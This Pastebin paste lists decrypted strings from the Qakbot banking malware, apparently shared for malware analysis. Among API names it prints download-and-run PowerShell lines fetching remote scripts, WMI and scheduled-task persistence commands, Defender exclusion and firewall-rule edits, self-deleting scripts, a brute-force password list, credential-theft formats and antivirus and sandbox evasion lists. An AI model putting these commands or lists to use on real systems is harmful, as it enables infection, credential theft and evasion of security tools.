API tools faq
paste
dark0pcodes

Qakbot Decrypted Strings

dark0pcodes
Jun 6th, 2020
13,613
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.58 KB | None | 0 0
raw download clone embed print report
  1. 308
  2. CryptFindOIDInfo
  3. WEEKLY /D TUE,WED /ST 12:00:00
  4. /c ping.exe -n 6 127.0.0.1 & type "%s\System32\calc.exe" > "%s"
  5. */*
  6. nss3.dll
  7. Red Hat VirtIO
  8. PStoreCreateInstance
  9. DeleteService
  10. /F
  11. PathMatchSpecW
  12. NtGetContextThread
  13. VMware Vista
  14. GetCurrentDirectoryA
  15. InternetQueryOptionA
  16. data_inject
  17. DeleteServiceW
  18. advapi32.dll
  19. %BOT_VENDOR_ID%
  20. RegEnumValueA
  21. %s \"$windowsupdate = \\\"%s\\\"; & $windowsupdate\"
  22. mcshield.exe
  23. %BOT_USERDOMAIN%
  24. wpl
  25. data_before
  26. NtQueryInformationProcess
  27. PFXExportCertStore
  28. HttpSendRequestA
  29. CreateDirectoryA
  30. powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command '%s'"
  31. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")
  32. Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
  33. errReturn = objProcess.Create("%s", null, nul, nul)
  34. ext_ip=[%s] dnsname=[%s] hostname=[%s] user=[%S] domain=[%S] is_admin=[%s] os=[%s] qbot_version=[%s] install_time=[%s] exe=[%S] prod_id=[%s]
  35. FtpDeleteFileA
  36. %SystemRoot%\SysWOW64\mobsync.exe
  37. firefox.exe
  38. SOFTWARE\Microsoft\Internet Explorer\CodeIntegrity
  39. LdrLoadDll
  40. 311
  41. ws2_32.dll
  42. 1234567890
  43. %BOT_MACHINE_UUID%
  44. c:\hiberfil.sysss
  45. SetNamedSecurityInfoA
  46. CreateProcessInternalW
  47. GenuineIntel
  48. RegCreateKeyExA
  49. CertAddCTLContextToStore
  50. %SystemRoot%\System32\mobsync.exe
  51. CertFreeCertificateChain
  52. %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
  53. RegCloseKey
  54. TranslateMessage
  55. i3
  56. CertCloseStore
  57. %ProgramFiles%\Internet Explorer\iexplore.exe
  58. url=[%s] lb=[%s] data=[%s]
  59.  
  60. CertFreeCertificateContext
  61. PR_Read
  62. %s "$windowsupdate = \"%s\"; & $windowsupdate"
  63. siteadvisor.com;avgthreatlabs.com;safeweb.norton.com
  64. webinjects.cb
  65. host=[%s:%u] user=[%s] pass=[%s]
  66.  
  67. CreateFileW
  68. QueryFullProcessImageNameW
  69. IPC$
  70. InternetReadFile
  71. urlmon.dll
  72. PeekMessageA
  73. PR_OpenTCPSocket
  74. vmtoolsd.exe
  75. CertAddCertificateContextToStore
  76. SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
  77. url=[%s] data=[%s]
  78.  
  79. NtReadVirtualMemory
  80. InternetQueryOptionW
  81. rsabase.dll
  82. h1
  83. NetShareEnum
  84. VBoxVideo
  85. HttpOpenRequestW
  86. MoveFileA
  87. %SystemRoot%\System32\xwizard.exe
  88. CreateServiceW
  89. StackWalk64
  90. NtFreeVirtualMemory
  91. error res='%s' err=%d len=%u
  92. data=[%s]
  93. 307
  94. Process32Next
  95. SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  96. PR_Close
  97. 000
  98. h3
  99. FindNextFileA
  100. coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
  101. CloseServiceHandle
  102. 23.49.13.33:7000
  103. ExpandEnvironmentStringsA
  104. https://en.wikipedia.org/static/apple-touch/wikipedia.png
  105. RtlNtStatusToDosError
  106. InternetGetCookieExA
  107. %SystemRoot%\SysWOW64\xwizard.exe
  108. CertOpenStore
  109. metsvc-server.exe
  110. ivm-inject.dll
  111. PathCombineA
  112. data_end
  113. ProfileImagePath
  114. GetClipboardData
  115. CertEnumCertificatesInStore
  116. VirtualProtect
  117. s2
  118. Module32Next
  119. VirtualProtectEx
  120. administrator,argo,operator,administrador,user,prof,owner,usuario,admin,HP_Administrator,HP_Owner,Compaq_Owner,Compaq_Administrator
  121. VMware Pointing
  122. Query_Main
  123. .dll
  124. cmd /c schtasks.exe /Query > "%s"
  125. FindClose
  126. %SystemRoot%\explorer.exe
  127. u1
  128. chrome_child.dll
  129. 123,password,Password,letmein,1234,12345,123456,1234567,12345678,123456789,1234567890,qwerty,love,iloveyou,princess,pussy,master,monkey,abc123,99999999,9999999,999999,99999,9999,999,99,9,88888888,8888888,888888,88888,8888,888,88,8,77777777,7777777,777777,77777,7777,777,77,7,66666666,6666666,666666,66666,6666,666,66,6,55555555,5555555,555555,55555,5555,555,55,5,44444444,4444444,444444,44444,4444,444,44,4,33333333,3333333,333333,33333,3333,333,33,3,22222222,2222222,222222,22222,2222,222,22,2,11111111,1111111,111111,11111,1111,111,11,1,00000000,0000000,00000,0000,000,00,0987654321,987654321,87654321,7654321,654321,54321,4321,321,21,12,super,secret,server,computer,owner,backup,database,lotus,oracle,business,manager,temporary,ihavenopass,nothing,nopassword,nopass,Internet,internet,example,sample,love123,boss123,work123,home123,mypc123,temp123,test123,qwe123,pw123,root123,pass123,pass12,pass1,admin123,admin12,admin1,password123,password12,password1,default,foobar,foofoo,temptemp,temp,testtest,test,rootroot,root,fuck,zzzzz,zzzz,zzz,xxxxx,xxxx,xxx,qqqqq,qqqq,qqq,aaaaa,aaaa,aaa,sql,file,web,foo,job,home,work,intranet,controller,killer,games,private,market,coffee,cookie,forever,freedom,student,account,academia,files,windows,monitor,unknown,anything,letitbe,domain,access,money,campus,explorer,exchange,customer,cluster,nobody,codeword,codename,changeme,desktop,security,secure,public,system,shadow,office,supervisor,superuser,share,adminadmin,mypassword,mypass,pass,Login,login,passwd,zxcvbn,zxcvb,zxccxz,zxcxz,qazwsxedc,qazwsx,q1w2e3,qweasdzxc,asdfgh,asdzxc,asddsa,asdsa,qweasd,qweewq,qwewq,nimda,administrator,Admin,admin,a1b2c3,1q2w3e,1234qwer,1234abcd,123asd,123qwe,123abc,123321,12321,123123,James,John,Robert,Michael,William,David,Richard,Charles,Joseph,Thomas,Christopher,Daniel,Paul,Mark,Donald,George,Kenneth,Steven,Edward,Brian,Ronald,Anthony,Kevin,Mary,Patricia,Linda,Barbara,Elizabeth,Jennifer,Maria,Susan,Margaret,Dorothy,Lisa,Nancy,Karen,Betty,Helen,Sandra,Donna,Carol,james,john,robert,michael,william,david,richard,charles,joseph,thomas,christopher,daniel,paul,mark,donald,george,kenneth,steven,edward,brian,ronald,anthony,kevin,mary,patricia,linda,barbara,elizabeth,jennifer,maria,susan,margaret,dorothy,lisa,nancy,karen,betty,helen,sandra,donna,carol,baseball,dragon,football,mustang,superman,696969,batman,trustno1
  130. RegOpenKeyExA
  131. SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
  132. VMAUDIO
  133. 309
  134. application/x-shockwave-flash
  135. mlwr_smpl
  136. FreeSid
  137. CertGetNameStringW
  138. netapi32.dll
  139. %s\System32\WindowsPowerShell\v1.0\powershell.exe "$windowsupdate = \"%s\"; & $windowsupdate"
  140. NtMapViewOfSection
  141. .lnk
  142. ntdll.dll
  143. ccSvcHst.exe
  144. aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz
  145. 2
  146. CreateRemoteThread
  147. dbghelp.dll
  148. cookie=[%s]
  149. exclude_url
  150. HttpSendRequestExA
  151. user32.dll
  152. vmdebug
  153. Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  154. InterlockedCompareExchange
  155. RtlGetVersion
  156. https://cdn.speedof.me/sample4096k.bin?r=0.%u
  157. OpenSCManagerW
  158. GetMessageW
  159. ZwQueryInformationThread
  160. RegDeleteValueA
  161. i4
  162. shell32.dll
  163. Windows10 Edge HttpQueryInfo Bug!!!
  164. cscript.exe
  165. explorer.exe
  166. VMware SCSI
  167. CredFree
  168. WScript.Sleep %u
  169. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")
  170. Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
  171. errReturn = objProcess.Create("%s", null, nul, nul)
  172. WSCript.Sleep 2000
  173. Set fso = CreateObject("Scripting.FileSystemObject")
  174. fso.DeleteFile("%s")
  175. chrome.dll
  176. NtAllocateVirtualMemory
  177. %BOT_USERNAME%
  178. VMware SVGA
  179. PR_SetError
  180. "%s\system32\schtasks.exe" /create /tn %S /tr "%s" /sc %S
  181. CreateThread
  182. DynamicCodePolicy
  183. HttpAddRequestHeadersA
  184. %s%s/dupinst.php?n=%s&bg=%s&r=%u
  185. HttpQueryInfoW
  186. HttpOpenRequestA
  187. %%%BOT_NICK%%%
  188. abc
  189. WTSFreeMemory
  190. LocalFree
  191. NtProtectVirtualMemory
  192. kernel32.dll
  193. InternetQueryDataAvailable
  194. InternetCloseHandle
  195. pstorec.dll
  196. NetApiBufferFree
  197. CertDuplicateCRLContext
  198. DnsQuery_A
  199. SetLastError
  200. EnumWindows
  201. artifact.exe
  202. .cfg
  203. image/jpeg
  204. referer=[%s]
  205. egui.exe;ekrn.exe
  206. SOFTWARE\Microsoft\Windows Defender\SpyNet
  207. Self test OK.
  208. vmxnet
  209. k1
  210. %s\%s.vbs
  211. dnsapi.dll
  212. StrCmpNIA
  213. GetForegroundWindow
  214. WTSEnumerateSessionsW
  215. SpyNetReporting
  216. NtWow64ReadVirtualMemory64
  217. NtQueryVirtualMemory
  218. HttpSendRequestExW
  219. ansfltr
  220. WNetEnumResourceW
  221. HOURLY /mo 5
  222. StrStrW
  223. VirtualFreeEx
  224. WNetAddConnection2W
  225. NetWkstaGetInfo
  226. cmd.exe /C \"start /MIN %s\system32\cscript.exe //E:javascript \"%s\"\" sudhfdus
  227. WSAConnect
  228. %BOT_COMPUTERNAME%
  229. wpcap.dll
  230. bdagent.exe;vsserv.exe;vsservppl.exe
  231. fshoster32.exe
  232. /ru ""
  233. WSASend
  234. SetFilePointer
  235. ReadFile
  236. StrStrIA
  237. InternetSetStatusCallback
  238. SAVAdminService.exe;SavService.exe
  239. WBJ_IGNORE
  240. Self test FAILED!!!
  241. DestroyWindow
  242. ignore_url
  243. RegEnumKeyExA
  244. w1
  245. CWSandbox
  246. \sf2.dll
  247. WRSA.exe
  248. SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
  249. HttpSendRequestW
  250. Module32First
  251. cmd=1&msg=%s&ports=
  252. GetMessageA
  253. ShowWindow
  254. PR_GetNameForIdentity
  255. VirtualAllocEx
  256. Content-Type: application/x-www-form-urlencoded
  257. wininet.dll
  258. ShellExecuteA
  259. https://
  260. NtSetContextThread
  261. StrCmpIW
  262. shlwapi.dll
  263. PathMatchSpecA
  264. netsh firewall set allowedprogram "%s" %s ENABLE
  265. ZwResumeThread
  266. PR_GetError
  267. ByteFence.exe
  268. ALLUSERSPROFILE
  269. WNetCloseEnum
  270. Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")
  271. Set colFiles = objWMIService.ExecQuery("Select * From CIM_DataFile Where Name = '%s'")
  272. For Each objFile in colFiles
  273. objFile.Copy("%s")
  274. Next
  275. SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet
  276. StartServiceW
  277. DeleteFileA
  278. CertFreeCertificateChainEngine
  279. C:\\INTERNAL\\__empty
  280. InternetReadFileExA
  281. sbtisht
  282. CredEnumerateA
  283. f1
  284. cmd.exe /c ping -n 10 localhost && rmdir /S /Q "%s"
  285. NetGetDCName
  286. SendMessageA
  287. GetVolumeInformationA
  288. sample
  289. CertFreeCRLContext
  290. FtpGetFileA
  291. FindWindowA
  292. Process32First
  293. InternetOpenUrlA
  294. vmrawdsk
  295. send
  296. InternetWriteFile
  297. %SystemRoot%\SysWOW64\explorer.exe
  298. NtUnmapViewOfSection
  299. /bot_serv
  300. MicrosoftEdge.exe
  301. %s %04x.%u %04x.%u res: %s seh_test: %u consts_test: %d vmdetected: %d createprocess: %d
  302. SetEndOfFile
  303. VMware VMaudio
  304. GetProcAddress
  305. WaitForSingleObject
  306. mpr.dll
  307. aswhooka.dll
  308. WSASetLastError
  309. InternetGetLastResponseInfoA
  310. 310
  311. PR_Write
  312. snxhk_border_mywnd
  313. i2
  314. VMware Replay
  315. MsMpEng.exe
  316. avcuf32.dll
  317. RegSetValueExA
  318. OpenThread
  319. WSAGetLastError
  320. GetUrlCacheEntryInfoW
  321. CertSetCertificateContextProperty
  322. ReadProcessMemory
  323. reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
  324. AdjustTokenPrivileges
  325. PostQuitMessage
  326. windbg.exe;ChromeUpdate.exe;msdev.exe;dbgview.exe;ollydbg.exe;ctfmon.exe;Proxifier.exe;nav.exe;Microsoft.Notes.exe;ShellExperienceHost.exe;SecHealthUI.exe
  327. CertGetCRLContextProperty
  328. image/gif
  329. Global\{EEE80B68-1EF4-47C2-9017-59E46A84F3BC}
  330. cryptui.dll
  331. ADMIN$
  332. SbieDll.dll
  333. SetCurrentDirectoryA
  334. m1
  335. aabcdeefghiijklmnoopqrstuuvwxyyz
  336. url=[%s] user=[%s] pass=[%s]
  337. crypt32.dll
  338. WTSQueryUserToken
  339. InternetOpenA
  340. Microsoft
  341. vmacthlp.exe
  342. VMware Accelerated
  343. aswhookx.dll
  344. C$
  345. RegQueryInfoKeyA
  346. NetUserEnum
  347. DeleteUrlCacheEntryW
  348. 1.nvprivateoffice.info
  349. InternetGetCookieA
  350. NAT-PMP %u tcp
  351. qbot_conf_path='%S' username='%S'
  352. comet.yahoo.com;.hiro.tv;safebrowsing.google.com;geo.query.yahoo.com;googleusercontent.com;salesforce.com;officeapps.live.com;storage.live.com;messenger.live.com;.twimg.com;api.skype.com;mail.google.com;.bing.com;playtoga.com;.mozilla.com;.mozilla.org;hotbar.com;lphbs.com;contacts.msn.com;search.msn.com;clients.mindbodyonline.com;loyaltyconnect.ihg.com;.amazonaws.com;audatexsolutions.com;mail.services.live.com;etsy.com;.king.com;phantomefx.com;facebook.com;.gator.com;doubleclick.;zango.com;180solutions.com;wildtangent.com;webhancer.com;tbreport.bellsouth.net;spamblockerutility.com;internet-optimizer.com;.adworldmedia.com;seekmo.com;r777r.info;sipuku.com;eorezo.com;newasp.com.cn;wpzkq.com;radialpoint.com;owlforce.com;.microsoft.com;localhost;127.0.0.1;securestudies.com;farmville.com;mybrowserbar.com;auditude.com;digitalmediacommunications.com;mapquest.com;kixeye.com;myshopres.com;conduit-services.com;zynga.com;.5min.com;netflix.com;tubemogul.com;youtube.com;brightcove.com;mochibot.com;fwmrm.net;mendeley.com
  353. vkise.exe;isesrv.exe;cmdagent.exe
  354. NtProtectVirtualMemory
  355. InternetCrackUrlA
  356. "%s\system32\schtasks.exe" /DELETE /F /TN %s
  357. DnsQuery_W
  358. LookupAccountSidW
  359. PeekMessageW
  360. CertGetEnhancedKeyUsage
  361. vm3dmp
  362. %BOTID%
  363. %SystemRoot%\SysWOW64\explorer.exe
  364. .dat
  365. OpenProcess
  366. NtCreateSection
  367. AllocateAndInitializeSid
  368. Initializing database...
  369. WNetCancelConnection2W
  370. WNetOpenEnumW
  371. vmscsi
  372. WriteProcessMemory
  373. windump.exe
  374. ObtainUserAgentString
  375. NtWriteVirtualMemory
  376. PostMessageA
  377. GetModuleHandleA
  378. GetCurrentThreadId
  379. CryptEnumOIDInfo
  380. wtsapi32.dll
  381. MBAMService.exe;mbamgui.exe
  382. netsh advfirewall firewall add rule name="%s" dir=in action=allow program="%s" enable=yes
  383. LoadLibraryA
  384. netteller.com
  385. url=[%s]
  386. t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
  387. %s\System32\WindowsPowerShell\v1.0\powershell.exe \"$windowsupdate = \\\"%s\\\"; & $windowsupdate\"
  388. CreateWindowExA
  389. PathUnquoteSpacesW
  390. [end]
  391.  
  392. "%s\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn %s /tr "\"%s\" /I %s" /SC ONCE /Z /ST %02u:%02u /ET %02u:%02u
  393. CreateToolhelp32Snapshot
  394. QEMU
  395. /t3
  396. FindFirstFileA
  397. Virtual HD
  398. SetEntriesInAclA
  399. rsaenh.dll
  400. DefWindowProcA
  401. i1
  402. RegisterClassExA
  403. exe=[%s] cmdline=[%s] pid=[%u] username=[%s]
  404.  
  405. .exe
  406. {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
  407. LookupAccountSidA
  408. tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe
  409. c1
  410. StrStrIW
  411. vmx_svga
  412. CloseHandle
  413. CreateProcessA
  414. NtClose
  415. DispatchMessageA
  416. avp.exe
  417. WriteFile
  418. %SystemRoot%\explorer.exe
  419. SubmitSamplesConsent
  420. qbot_run_mutex='%s' username='%S'
  421. wbj.go
  422. UnregisterClassA
  423. VBoxGuest
  424. RegQueryValueExA
  425. NtWow64QueryInformationProcess64
  426. data_after
  427. AvastSvc.exe
  428. abcdefghijklmnopqrstuvwxyz
  429. [begin]
  430.  
  431. SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  432. %u.%s.%s.%08x
  433. InternetConnectA
  434. set_url
  435. CertCreateCertificateChainEngine
  436. h2
  437. VMware server memory
  438. cashmanagementconnectionstring
  439. image/pjpeg
  440. connect
  441. jHxastDcds)oMc=jvh7wdUhxcsdt2
  442. avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
  443. RtlSetLastWin32Error
  444. srootkit
  445. wpq
  446. WTSQuerySessionInformationW
  447. SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
  448. vSockets
  449. fmon.exe
  450. CertGetCertificateChain
  451. CreateProcessW
  452. CryptAcquireCertificatePrivateKey
  453. HttpQueryInfoA
  454. NtWriteVirtualMemory
  455. LdrGetProcedureAddress
  456. MessageBoxA
  457. FtpOpenFileA
  458. GetModuleFileNameA
  459. Administrator
  460. %02u.%02u.%02u-%02u/%02u/%04u
  461. vmnat.exe
  462. CertEnumSystemStore
  463. 3
  464. kb
  465. StrTrimW
  466. InternetSetOptionA
  467. nspr4.dll
  468. CreateFileA
  469. PathCombineW
  470. CryptUnprotectData
  471. UpdateWindow
  472. RapportGP.DLL
  473. CertAddCRLContextToStore
  474. M
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!